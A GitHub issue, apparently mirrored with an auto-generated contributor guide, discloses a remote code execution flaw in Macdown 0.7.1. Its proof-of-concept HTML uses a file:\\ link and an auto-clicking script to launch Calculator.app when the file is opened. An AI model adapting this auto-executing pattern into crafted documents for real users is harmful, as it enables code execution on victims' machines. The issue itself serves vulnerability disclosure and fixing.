MacDownApp/macdown

Macdown Version 0.7.1 (870) Remote Code Execution

Open

#1050 opened on Jan 28, 2019

View on GitHub
 (7 comments) (1 reaction) (0 assignees)Objective-C (7,686 stars) (930 forks)batch import
help wantedon hold

Description

Macdown Version 0.7.1 (870) Remote Code Execution

Macdown version 0.7.1 (870) is affected by a remote code execution vulnerability. Macdown fails to sanitize input on HTML attributes. Abusing thefile:\\ URI scheme on HTML attributes can result in arbitrary code execution. The attached proof of concept will execute the MacOS Calculator.app when opened inside of Macdown.

PoC (PoC.md):

<!DOCTYPE html>
<html>
<body>

<a href="file:\\\Applications\Calculator.app" id=exploit download>
  <img src="/images/exploit.jpg" alt="exploit" width="104" height="142">
</a>

<script>
(function download() {
    document.getElementById('exploit').click();
})()
</script>

</body>
</html>

Screenshot:

PoC.md.zip

Contributor guide

Tech stack
objective chtmljavascript
Domain
securitydesktop
Issue type
security
DifficultyEstimated implementation difficulty for a new contributor, from 1 for very small changes to 5 for expert-level work.
4
Estimated timeA rough time range for an experienced contributor to investigate, implement, test, and prepare a pull request.
over 1 week
Activity statusHow available the issue appears right now: fresh, active, stale, blocked, or waiting on maintainer input.
stale
ClarityHow clearly the issue explains the expected change, acceptance criteria, and next step.
clear
Prerequisites
Objective CmacOS sandboxingHTML security
Newbie friendlinessA 1-100 score estimating how approachable this issue is for first-time contributors.
20
Research direction
The issue is a remote code execution via unsanitized file:// URIs in HTML attributes. The fix requires locating where Macdown renders HTML (likely a WebView) and implementing input sanitization or URI scheme whitelisting. Review the attached PoC and test to ensure no other dangerous schemes are allowed. Check the comments for any maintainer guidance or prior attempts.